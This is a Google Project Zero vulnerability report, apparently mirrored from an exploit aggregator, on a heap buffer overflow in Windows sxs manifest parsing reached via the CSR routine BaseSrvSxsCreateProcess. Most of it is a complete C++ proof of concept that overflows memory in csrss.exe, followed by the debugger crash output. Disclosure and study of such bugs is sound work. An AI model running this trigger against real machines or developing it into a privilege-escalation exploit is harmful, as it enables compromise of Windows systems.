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## https://sploitus.com/exploit?id=PACKETSTORM:168068
Windows: Heap buffer overflow in sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity
## SUMMARY
A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.
## VULNERABILITY DETAILS
In 2020, Project Zero reported a heap buffer overflow in application manifest parsing[1]. The `MaximumLength` field in one of the `UNICODE_STRING` parameters of the `BaseSrvSxsCreateActivationContextFromMessage` CSR routine wasn't properly validated, and was later used by `XMLParser_Element_doc_assembly_assemblyIdentity` as the maximum size of a `memcpy` destination buffer. The fix added an extra `CsrValidateMessageBuffer` call to `BaseSrvSxsCreateActivationContextFromMessage`.
We've just discovered that `BaseSrvSxsCreateActivationContextFromMessage` is not the only CSR routine that can reach `XMLParser_Element_doc_assembly_assemblyIdentity`. An attacker can trigger the same buffer overflow via `BaseSrvSxsCreateProcess`.
1. https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1027.html
## VERSION
Windows 11 12H2 (OS Build 22000.593)
Windows 10 12H2 (OS Build 19044.1586)
## REPRODUCTION CASE
1) Enable page heap verification for csrss.exe:
```
gflags /p /enable csrss.exe /full
```
2) Restart the machine.
3) Compile and run:
```
#pragma comment(lib, "ntdll")
#include <windows.h>
#include <winternl.h>
#include <cstdint>
#include <cstdio>
#include <string>
typedef struct _SECTION_IMAGE_INFORMATION {
PVOID EntryPoint;
ULONG StackZeroBits;
ULONG StackReserved;
ULONG StackCommit;
ULONG ImageSubsystem;
WORD SubSystemVersionLow;
WORD SubSystemVersionHigh;
ULONG Unknown1;
ULONG ImageCharacteristics;
ULONG ImageMachineType;
ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;
typedef struct _RTL_USER_PROCESS_INFORMATION {
ULONG Size;
HANDLE ProcessHandle;
HANDLE ThreadHandle;
CLIENT_ID ClientId;
SECTION_IMAGE_INFORMATION ImageInformation;
BYTE Unknown1[128];
} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;
NTSTATUS(NTAPI* RtlCreateProcessParameters)
(PRTL_USER_PROCESS_PARAMETERS*,
PUNICODE_STRING,
PUNICODE_STRING,
PUNICODE_STRING,
PUNICODE_STRING,
PVOID,
PUNICODE_STRING,
PUNICODE_STRING,
PUNICODE_STRING,
PUNICODE_STRING);
NTSTATUS(NTAPI* RtlCreateUserProcess)
(PUNICODE_STRING,
ULONG,
PRTL_USER_PROCESS_PARAMETERS,
PSECURITY_DESCRIPTOR,
PSECURITY_DESCRIPTOR,
HANDLE,
BOOLEAN,
HANDLE,
HANDLE,
PRTL_USER_PROCESS_INFORMATION);
PVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG);
VOID(NTAPI* CsrFreeCaptureBuffer)(PVOID);
NTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG);
NTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR);
void CaptureString(LPVOID capture_buffer,
uint8_t* msg_field,
PCWSTR string,
size_t length = 0) {
if (length == 0)
length = lstrlenW(string);
CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2,
length * 2 + 2, (PSTR)msg_field);
}
int main() {
HMODULE ntdll = LoadLibrary(L"ntdll");
#define INIT_PROC(name) \
name = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name));
INIT_PROC(RtlCreateProcessParameters);
INIT_PROC(RtlCreateUserProcess);
INIT_PROC(CsrAllocateCaptureBuffer);
INIT_PROC(CsrFreeCaptureBuffer);
INIT_PROC(CsrClientCallServer);
INIT_PROC(CsrCaptureMessageString);
UNICODE_STRING image_path;
PRTL_USER_PROCESS_PARAMETERS proc_params;
RTL_USER_PROCESS_INFORMATION proc_info = {0};
RtlInitUnicodeString(&image_path, L"\\SystemRoot\\notepad.exe");
RtlCreateProcessParameters(&proc_params, &image_path, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL);
RtlCreateUserProcess(&image_path, OBJ_CASE_INSENSITIVE, proc_params, NULL,
NULL, NULL, FALSE, NULL, NULL, &proc_info);
const size_t HEADER_SIZE = 0x40;
uint8_t msg[HEADER_SIZE + 0x1f8] = {0};
#define FIELD(n) msg + HEADER_SIZE + 8 * n
#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value;
SET_FIELD(2, proc_info.ClientId.UniqueProcess);
SET_FIELD(3, proc_info.ClientId.UniqueThread);
SET_FIELD(4, -1);
SET_FIELD(7, 1);
SET_FIELD(8, 0x20000);
std::string manifest =
"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' "
"manifestVersion='1.0'>"
"<assemblyIdentity name='@' version='1.0.0.0'/>"
"</assembly>";
manifest.replace(manifest.find('@'), 1, 0x4000, 'A');
SET_FIELD(13, manifest.c_str());
SET_FIELD(14, manifest.size());
PVOID capture_buffer = CsrAllocateCaptureBuffer(6, 0x200);
CaptureString(capture_buffer, FIELD(22), L"C:\\Windows\\");
CaptureString(capture_buffer, FIELD(24), L"\x00\x00", 2);
CaptureString(capture_buffer, FIELD(28), L"A");
SET_FIELD(28, 0xff000002);
CsrClientCallServer(msg, capture_buffer, 0x1001001d,
sizeof(msg) - HEADER_SIZE);
}
```
The crash should look like to the following:
```
CONTEXT: 0000007c4afbcfc0 -- (.cxr 0x7c4afbcfc0)
rax=0000020e6515ce00 rbx=0000000000004000 rcx=0000020e6515d010
rdx=fffffffffbe741fa rsi=0000020e652c48c0 rdi=0000000000000001
rip=00007ff825a53c53 rsp=0000007c4afbdd38 rbp=0000007c4afbde80
r8=0000000000000032 r9=00000000000001f7 r10=00007ff822e6b558
r11=0000020e60fd8ffc r12=0000020e66d1cf80 r13=0000000000000001
r14=0000000000000000 r15=0000000000000005
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ntdll!memcpy+0x113:
0033:00007ff8`25a53c53 0f2941f0 movaps xmmword ptr [rcx-10h],xmm0 ds:002b:0000020e`6515d000=????????????????????????????????
Resetting default scope
WRITE_ADDRESS: 0000020e6515d000
EXCEPTION_RECORD: 0000007c4afbd4b0 -- (.exr 0x7c4afbd4b0)
ExceptionAddress: 00007ff825a53c53 (ntdll!memcpy+0x0000000000000113)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000001
Parameter[1]: 0000020e6515d000
Attempt to write to address 0000020e6515d000
STACK_TEXT:
0000007c`4afbdd38 00007ff8`22df5a41 : 0000020e`652c48c0 00000000`00000001 00000000`00000001 00000000`00000001 : ntdll!memcpy+0x113
0000007c`4afbdd40 00007ff8`22e07b94 : 00007ff8`00000000 00000000`000000a8 0000020e`652c48c0 0000020e`652c48c0 : sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity+0x4c1
0000007c`4afbe3c0 00007ff8`22e1f406 : 0000020e`652e7f20 0000020e`652e7f20 00000000`00000000 00000000`00000000 : sxs!CNodeFactory::CreateNode+0xd34
0000007c`4afbe7d0 00007ff8`22df8a33 : 0000020e`00000000 0000020e`652a8cc8 00000000`00000000 0000020e`65166e20 : sxs!XMLParser::Run+0x8d6
0000007c`4afbe8f0 00007ff8`22df7468 : 0000020e`00000000 0000020e`6527ac90 00000000`00000000 0000020e`6527ac90 : sxs!SxspIncorporateAssembly+0x513
0000007c`4afbeab0 00007ff8`22df7cf6 : 00000000`00000000 00000000`00000000 0000020e`6527ac90 0000020e`65167720 : sxs!SxspIncorporateAssembly+0x104
0000007c`4afbeb60 00007ff8`22df3769 : 0000007c`00000000 0000007c`4afbefa0 00000000`00000000 0000020e`65166e20 : sxs!SxspCloseManifestGraph+0xbe
0000007c`4afbec00 00007ff8`22fb3eed : 00000000`00000000 00000000`00000000 00000000`00000000 0000007c`4afbf3a0 : sxs!SxsGenerateActivationContext+0x339
0000007c`4afbed60 00007ff8`22fb2405 : 0000007c`4afbf1f0 000004f7`0000000b 00000000`00000000 00000000`00000001 : sxssrv!BaseSrvSxsCreateActivationContextFromStructEx+0x6ed
0000007c`4afbf1a0 00007ff8`22fb1e91 : 0000020e`56e00000 00000000`01080002 00000000`00000264 00000000`00000270 : sxssrv!InternalSxsCreateProcess+0x545
0000007c`4afbf680 00007ff8`230133c3 : 00000000`00000000 0000007c`4afbf789 00000000`00000000 00000000`00000000 : sxssrv!BaseSrvSxsCreateProcess+0x71
0000007c`4afbf6c0 00007ff8`23036490 : 0000020e`ffffffff 0000007c`4afbf848 0000020e`00000000 0000020e`00000001 : basesrv!BaseSrvCreateProcess2+0x1f3
0000007c`4afbf7f0 00007ff8`25a0265f : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : CSRSRV!CsrApiRequestThread+0x4d0
0000007c`4afbfe90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2f
```
## CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
Related CVE Numbers: CVE-2020-1027,CVE-2022-22026,CVE-2022-22026.
Found by: glazunov@google.com